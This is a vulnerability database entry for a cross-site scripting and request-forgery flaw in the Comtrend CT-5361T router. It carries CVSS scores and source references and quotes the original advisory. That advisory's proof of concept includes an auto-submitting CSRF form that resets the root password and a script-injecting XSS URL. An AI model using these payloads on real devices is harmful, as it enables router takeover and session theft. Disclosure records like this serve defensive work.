Sign-up

ID

VAR-201404-0754


CVE

CVE-2014-2923


TITLE

Comtrend CT-5361T Router ddnsmngr.cmd username parameter cross-site scripting vulnerability

Trust: 0.6

sources: CNVD: CNVD-2014-02698

DESCRIPTION

The Comtrend CT-5361T is a router device. The Comtrend CT-5361T ddnsmngr.cmd script failed to properly filter the 'username' parameter input, allowing an attacker to build a malicious URI, enticing a user to resolve, gaining sensitive information or hijacking a user session. Comtrend CT-5361T ADSL Router is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. Comtrend CT-5361T firmware version A111-312SSG-T02_R01 is vulnerable; other versions may also be affected. [+] Author: TUNISIAN CYBER [+] Exploit Title: Comtrend CT 5361T Multiple Vulnerabilities [+] Date: 21-04-2014 [+] Category: WebApp [+] CVE:CVE-2014-2923 CVE-2014-2924 [+] Tested on: Windows 7 Pro [+] Vendor: http://www.comtrend.com/ [+] Product: http://www.comtrend.com/cgi-bin/na/db-searchn.cgi?template=proview1.htm&dbname=product&key2=32&action=searchdbdisplay [+] Friendly Sites: na3il.com,th3-creative.com 1.OVERVIEW: WiFi router Comtrend CT 5361T suffers from a Cross Site Request Forgery (change passwd) and Cross-Site Scripting Vulnerability 2.Version: CT 5361T (more likely CT CT 536X) Software Version: A111-312SSG-T02_R01 Wireless Driver Version: 4.150.10.15.cpe2.2 3.Background: The CT-5361T is an 802.11g (54Mbps) Wireless and Wired ADSL2+ router. Four 10/100 Base-T Ethernet ports and an optional USB port and an integrated 802.11g WiFi WLAN Access Point (AP) provide with wired LAN connectivity and wireless connectivity separately. The CT-5361T ADSL2+ router also provides for state of the art security features such as WPA data encryption, Firewall and VPN pass through. The CT-5361T is designed for both residential and business applications that require wireless and wired connectivity to an ADSL broadband network. The CT-5361T supports up to 16 contiguous virtual connections allowing for multiple simultaneous Internet connections. The CT-5361T is also designed with TR-068 compliant color panel and LED indicators, which eases the installation of the modem and makes it more user-friendly. 4.Proof Of Concept: CSRF <html> <body onload="javascript:document.forms[0].submit()"> <form method="POST" name="form0" action="192.168.1.1/password.cgi?sysPassword=[Your Password]"> </form> </body> </html> Then Login as root with your new pwd. XSS: 192.168.1.1/ddnsmngr.cmd?action=add&service=1&hostname=blabla&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=bblala&iface=ppp0 http://i.imgur.com/plXXpJU.png 5.Solution(s): NOT FIXED 6.TIME-LINE: 16-04-2014: Vulnerability was discovered. 16-04-2014: Contact with vendor and ISP. 17-04-2014: No Reply. 18-04-2014: No Reply. 18-04-2014: ANOTHER contact with vendor and ISP. 19-04-2014: No Reply. 20-04-2014: No Reply. 20-04-2014: CVE(s) Requested. 21-04-2014: CVE assigned. 21-04-2014: Vulnerability published. 7.Greetings: Xmax-tn Xtech-set N43il Sec4ver,E4A Members

Trust: 0.9

sources: CNVD: CNVD-2014-02698 // BID: 67033 // PACKETSTORM: 126251

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2014-02698

AFFECTED PRODUCTS

vendor:comtrendmodel:ct-5361t a111-312ssg-t02 r01scope: - version: -

Trust: 0.6

vendor:comtrendmodel:ct-5361tscope:eqversion:0

Trust: 0.3

sources: CNVD: CNVD-2014-02698 // BID: 67033

CVSS

SEVERITY

CVSSV2

CVSSV3

CNVD: CNVD-2014-02698
value: MEDIUM

Trust: 0.6

CNVD: CNVD-2014-02698
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

sources: CNVD: CNVD-2014-02698

THREAT TYPE

network

Trust: 0.3

sources: BID: 67033

TYPE

Input Validation Error

Trust: 0.3

sources: BID: 67033

EXTERNAL IDS

db:NVDid:CVE-2014-2923

Trust: 1.0

db:BIDid:67033

Trust: 0.9

db:PACKETSTORMid:126251

Trust: 0.7

db:OSVDBid:106122

Trust: 0.6

db:CNVDid:CNVD-2014-02698

Trust: 0.6

sources: CNVD: CNVD-2014-02698 // BID: 67033 // PACKETSTORM: 126251

REFERENCES

url:http://packetstormsecurity.com/files/126251/comtrend-ct-5361t-cross-site-request-forgery-cross-site-scripting.html

Trust: 0.6

url:http://osvdb.com/show/osvdb/106122

Trust: 0.6

url:http://www.comtrend.com/

Trust: 0.4

url:https://nvd.nist.gov/vuln/detail/cve-2014-2923

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2014-2924

Trust: 0.1

url:http://www.comtrend.com/cgi-bin/na/db-searchn.cgi?template=proview1.htm&dbname=product&key2=32&action=searchdbdisplay

Trust: 0.1

url:http://i.imgur.com/plxxpju.png

Trust: 0.1

sources: CNVD: CNVD-2014-02698 // BID: 67033 // PACKETSTORM: 126251

CREDITS

TUNISIAN CYBER

Trust: 0.4

sources: BID: 67033 // PACKETSTORM: 126251

SOURCES

db:CNVDid:CNVD-2014-02698
db:BIDid:67033
db:PACKETSTORMid:126251

LAST UPDATE DATE

2022-05-04T09:12:23.577000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2014-02698date:2014-04-29T00:00:00
db:BIDid:67033date:2014-04-21T00:00:00

SOURCES RELEASE DATE

db:CNVDid:CNVD-2014-02698date:2014-04-29T00:00:00
db:BIDid:67033date:2014-04-21T00:00:00
db:PACKETSTORMid:126251date:2014-04-21T20:21:21